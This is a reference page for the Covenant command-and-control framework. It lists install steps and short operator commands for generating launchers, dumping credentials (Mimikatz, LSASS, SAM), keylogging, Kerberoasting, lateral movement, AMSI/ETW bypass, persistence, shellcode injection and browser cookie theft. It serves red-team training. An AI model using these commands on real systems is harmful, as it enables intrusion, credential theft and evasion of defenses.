# Covenant

> A collaborative .NET command-and-control framework with a web interface, built for red teams emulating adversaries.

- Category: Exploitation
- Commands: 85
- Page: https://terminal.rokibulroni.com/tool/exploitation/covenant
- Homepage: https://github.com/cobbr/Covenant
- Documentation: https://github.com/cobbr/Covenant/wiki
- Tags: C2, red team, .NET

## Install

- docker: `git clone --recurse-submodules https://github.com/cobbr/Covenant && cd Covenant/Covenant && docker build -t covenant . && docker run -it -p 7443:7443 -p 80:80 -p 443:443 covenant`

## Server Startup

### git clone --recurse-submodules https://github.com/cobbr/Covenant

```bash
git clone --recurse-submodules https://github.com/cobbr/Covenant
```

Clones the Covenant repository including all necessary submodules

### dotnet build

```bash
dotnet build
```

Compiles the Covenant solution using the .NET SDK

### dotnet run --project Covenant

```bash
dotnet run --project Covenant
```

Starts the Covenant C2 server and web interface

### docker-compose up -d

```bash
docker-compose up -d
```

Starts Covenant using the Docker containerized workflow


## Web Interface

### Navigate to https://127.0.0.1:7443

```bash
Navigate to https://127.0.0.1:7443
```

Example:

```bash
Browser > https://127.0.0.1:7443
```

Accesses the administrative dashboard to register the initial user


## Listener Management

### Create HTTP Listener

```bash
Create HTTP Listener
```

Example:

```bash
Listeners > Create > HTTP > BindPort 80
```

Configures a standard HTTP listener for Grunt callbacks

### Create HTTPS Listener

```bash
Create HTTPS Listener
```

Example:

```bash
Listeners > Create > HTTP > UseSSL True > Certificate
```

Configures an encrypted HTTPS listener with a valid SSL certificate


## Profile Management

### Create Custom Profile

```bash
Create Custom Profile
```

Example:

```bash
Profiles > Create > HttpProfile > Define Headers
```

Defines custom network traffic indicators to blend in with legitimate traffic


## Launcher Generation

### Generate PowerShell Launcher

```bash
Generate PowerShell Launcher
```

Example:

```bash
Launchers > PowerShell > Generate
```

Creates a one-liner PowerShell command to execute the Grunt stager

### Generate Binary Launcher

```bash
Generate Binary Launcher
```

Example:

```bash
Launchers > Binary > Generate > Grunt.exe
```

Compiles a customized executable artifact to launch the Grunt

### Generate MSBuild Launcher

```bash
Generate MSBuild Launcher
```

Example:

```bash
Launchers > MSBuild > Generate > Grunt.xml
```

Creates an XML project file executable via the MSBuild utility

### Generate HTML Application (HTA)

```bash
Generate HTML Application (HTA)
```

Example:

```bash
Launchers > HTA > Generate > evil.hta
```

Creates an HTML Application file for client-side execution vectors


## Grunt Session Interaction

### Interact

```bash
Interact
```

Example:

```bash
Interact <GruntName>
```

Opens the console session for a specific active Grunt

### Task Info

```bash
Task Info
```

Example:

```bash
Info
```

Displays detailed metadata about the current Grunt session

### SetDelay

```bash
SetDelay
```

Example:

```bash
SetDelay 10
```

Changes the sleep interval between callbacks to 10 seconds

### SetJitter

```bash
SetJitter
```

Example:

```bash
SetJitter 15
```

Adds a percentage of randomization to the callback interval

### Kill

```bash
Kill
```

Terminates the Grunt process on the remote host


## Tasking

### ShellCmd

```bash
ShellCmd
```

Example:

```bash
ShellCmd /c whoami
```

Executes a basic command prompt command on the target

### PowerShell

```bash
PowerShell
```

Example:

```bash
PowerShell Get-Date
```

Executes a PowerShell script block or command


## File System

### ListDirectory

```bash
ListDirectory
```

Example:

```bash
ListDirectory C:\Users\
```

Lists the contents of the specified directory

### ChangeDirectory

```bash
ChangeDirectory
```

Example:

```bash
ChangeDirectory C:\Temp
```

Changes the current working directory of the Grunt process

### GetCurrentDirectory

```bash
GetCurrentDirectory
```

Prints the current working directory path

### Download

```bash
Download
```

Example:

```bash
Download C:\Secrets\file.txt
```

Downloads a file from the target machine to the Covenant server

### Upload

```bash
Upload
```

Example:

```bash
Upload /local/path/tool.exe C:\Temp\tool.exe
```

Uploads a file from the Covenant server to the target machine


## Process Operations

### GetProcess

```bash
GetProcess
```

Enumerates all running processes on the target system

### KillProcess

```bash
KillProcess
```

Example:

```bash
KillProcess 1234
```

Terminates a specific process by its Process ID (PID)

### CreateProcess

```bash
CreateProcess
```

Example:

```bash
CreateProcess cmd.exe
```

Spawns a new process on the target system


## Registry Operations

### RegistryRead

```bash
RegistryRead
```

Example:

```bash
RegistryRead HKEY_CURRENT_USER\Software\Test KeyName
```

Reads a value from the Windows Registry


## Network Enumeration

### GetNetLocalGroup

```bash
GetNetLocalGroup
```

Example:

```bash
GetNetLocalGroup Administrators
```

Enumerates members of a local group using .NET

### GetNetDomainUser

```bash
GetNetDomainUser
```

Enumerates user accounts in the current domain

### GetNetDomainController

```bash
GetNetDomainController
```

Identifies the domain controllers for the current domain

### GetNetComputer

```bash
GetNetComputer
```

Example:

```bash
GetNetComputer -Ping
```

Enumerates computers in the domain and checks reachability

### GetNetShare

```bash
GetNetShare
```

Example:

```bash
GetNetShare computername
```

Lists network shares available on a specific computer

### ArpScan

```bash
ArpScan
```

Example:

```bash
ArpScan 192.168.1.0/24
```

Performs an ARP scan to identify live hosts on the local subnet

### PortScan

```bash
PortScan
```

Example:

```bash
PortScan 192.168.1.10 1-1024
```

Performs a TCP connect scan on the specified target and ports


## Host Enumeration

### Seatbelt

```bash
Seatbelt
```

Example:

```bash
Seatbelt -group=system
```

Runs the Seatbelt safety check tool to enumerate system security settings

### Seatbelt User

```bash
Seatbelt User
```

Example:

```bash
Seatbelt -group=user
```

Runs Seatbelt checks specifically related to the current user context

### WhoAmI

```bash
WhoAmI
```

Example:

```bash
WhoAmI /all
```

Displays extensive information about the current user and privileges


## Keylogging

### Keylogger

```bash
Keylogger
```

Example:

```bash
Keylogger start
```

Starts the keylogging module to capture keystrokes


## Screen Capture

### Screenshot

```bash
Screenshot
```

Captures a screenshot of the current user's desktop


## Credential Access

### SafetyKatz

```bash
SafetyKatz
```

Safely executes Mimikatz logic to dump LSASS credentials

### DumpLsass

```bash
DumpLsass
```

Creates a minidump of the LSASS process for offline analysis

### SamDump

```bash
SamDump
```

Dumps the Security Account Manager (SAM) database hashes


## Token Manipulation

### GetSystem

```bash
GetSystem
```

Attempts to elevate privileges to SYSTEM using various techniques

### ImpersonateUser

```bash
ImpersonateUser
```

Enumerates and impersonates available tokens to escalate privileges

### MakeToken

```bash
MakeToken
```

Example:

```bash
MakeToken DOMAIN\User Password
```

Creates a new token with specified credentials for network authentication

### RevertToSelf

```bash
RevertToSelf
```

Reverts the current thread impersonation back to the original process token


## Kerberos

### Rubeus

```bash
Rubeus
```

Example:

```bash
Rubeus triage
```

Interacts with Kerberos tickets using the Rubeus assembly

### Kerberoast

```bash
Kerberoast
```

Example:

```bash
Rubeus kerberoast
```

Attempts to roast service tickets to recover plaintext passwords

### ASREPRoast

```bash
ASREPRoast
```

Example:

```bash
Rubeus asreproast
```

Attacks users without Kerberos pre-authentication enabled


## Lateral Movement

### WMI

```bash
WMI
```

Example:

```bash
WMI computername command
```

Executes a command on a remote system via Windows Management Instrumentation

### SharpWMI

```bash
SharpWMI
```

Example:

```bash
SharpWMI action=exec computername=TARGET command=cmd.exe
```

Uses C# implementation of WMI for stealthier lateral movement

### SharpSsh

```bash
SharpSsh
```

Example:

```bash
SharpSsh username password target command
```

Executes commands over SSH using a .NET implementation

### PowerShellRemoting

```bash
PowerShellRemoting
```

Example:

```bash
Invoke-Command -ComputerName TARGET -ScriptBlock { ... }
```

Uses native PowerShell Remoting (WinRM) for lateral movement


## Pivoting

### Connect

```bash
Connect
```

Example:

```bash
Connect 192.168.1.50 445
```

Connects to a peer-to-peer SMB Grunt for internal pivoting

### Link

```bash
Link
```

Example:

```bash
Link TARGET_IP PIPE_NAME
```

Links to a named pipe listener on a remote host


## Assembly Execution

### Assembly

```bash
Assembly
```

Example:

```bash
Assembly /path/to/Assembly.exe args
```

Loads and executes a .NET assembly in memory without dropping to disk

### InlineAssembly

```bash
InlineAssembly
```

Example:

```bash
InlineAssembly /path/to/Assembly.exe
```

Executes an assembly within the same AppDomain as the Grunt


## OPSEC & Evasion

### BlockDLLs

```bash
BlockDLLs
```

Example:

```bash
BlockDLLs True
```

Enables process mitigation policy to block non-Microsoft signed DLLs

### AMSIBypass

```bash
AMSIBypass
```

Patches memory to disable the Antimalware Scan Interface

### ETWBypass

```bash
ETWBypass
```

Patches memory to disable Event Tracing for Windows logging


## Persistence

### Persist-Registry

```bash
Persist-Registry
```

Example:

```bash
Persist-Registry KeyName payload
```

Establishes persistence via a Registry Run key

### Persist-ScheduledTask

```bash
Persist-ScheduledTask
```

Example:

```bash
Persist-ScheduledTask TaskName payload
```

Creates a scheduled task to execute the Grunt payload

### Persist-WMI

```bash
Persist-WMI
```

Example:

```bash
Persist-WMI EventName payload
```

Creates a WMI event subscription for persistence


## Management

### Jobs

```bash
Jobs
```

Lists currently running background jobs on the Grunt

### KillJob

```bash
KillJob
```

Example:

```bash
KillJob JobID
```

Terminates a specific background job


## Database Recon

### SharpSQL

```bash
SharpSQL
```

Example:

```bash
SharpSQL query instance
```

Executes SQL queries against MSSQL instances


## Web Recon

### SharpChrome

```bash
SharpChrome
```

Example:

```bash
SharpChrome cookies
```

Extracts cookies and saved data from Google Chrome

### SharpChromium

```bash
SharpChromium
```

Example:

```bash
SharpChromium local
```

Extracts data from Chromium-based browsers like Edge


## Cleanup

### Rm

```bash
Rm
```

Example:

```bash
Rm C:\Temp\artifact.exe
```

Deletes a file from the target filesystem

### Remote Task Kill

```bash
Remote Task Kill
```

Example:

```bash
Kill
```

Removes the Grunt process to stop beaconing


## Graph View

### Graph View

```bash
Graph View
```

Example:

```bash
Dashboard > Graph
```

Visualizes the relationship between listeners and Grunts


## Data Management

### Credentials Tab

```bash
Credentials Tab
```

Example:

```bash
Data > Credentials
```

View and manage captured credentials and hashes

### Downloads Tab

```bash
Downloads Tab
```

Example:

```bash
Data > Downloads
```

Access files exfiltrated from target systems


## Advanced

### Shellcode

```bash
Shellcode
```

Example:

```bash
Shellcode /path/to/shellcode.bin
```

Injects and executes raw shellcode into the Grunt process

### Inject

```bash
Inject
```

Example:

```bash
Inject PID /path/to/shellcode.bin
```

Injects shellcode into a remote process

### Mimikatz

```bash
Mimikatz
```

Example:

```bash
Mimikatz "sekurlsa::logonpasswords"
```

Executes custom Mimikatz commands directly

### SharpUp

```bash
SharpUp
```

Example:

```bash
SharpUp audit
```

Checks for common local privilege escalation misconfigurations

### SharpDump

```bash
SharpDump
```

Example:

```bash
SharpDump PID
```

Creates a memory dump of a specific process using C#

### SharpRDP

```bash
SharpRDP
```

Example:

```bash
SharpRDP target=IP command=CMD
```

Executes commands over RDP without GUI interaction

### StandBy

```bash
StandBy
```

Places the Grunt into a low-activity standby mode


## Users

### User Management

```bash
User Management
```

Example:

```bash
Users > Create
```

Adds new operators to the Covenant server for collaboration


## Themes

### Theme Configuration

```bash
Theme Configuration
```

Example:

```bash
Settings > Theme
```

Customizes the visual appearance of the Covenant console


## Validation

### Event Log

```bash
Event Log
```

Example:

```bash
Reporting > Events
```

Reviews the audit log of all actions taken by operators

### Export Data

```bash
Export Data
```

Example:

```bash
Data > Export
```

Exports campaign data for reporting and analysis

## Related tools

- [Sliver](https://terminal.rokibulroni.com/tool/exploitation/sliver)
- [Metasploit Framework](https://terminal.rokibulroni.com/tool/exploitation/metasploit)
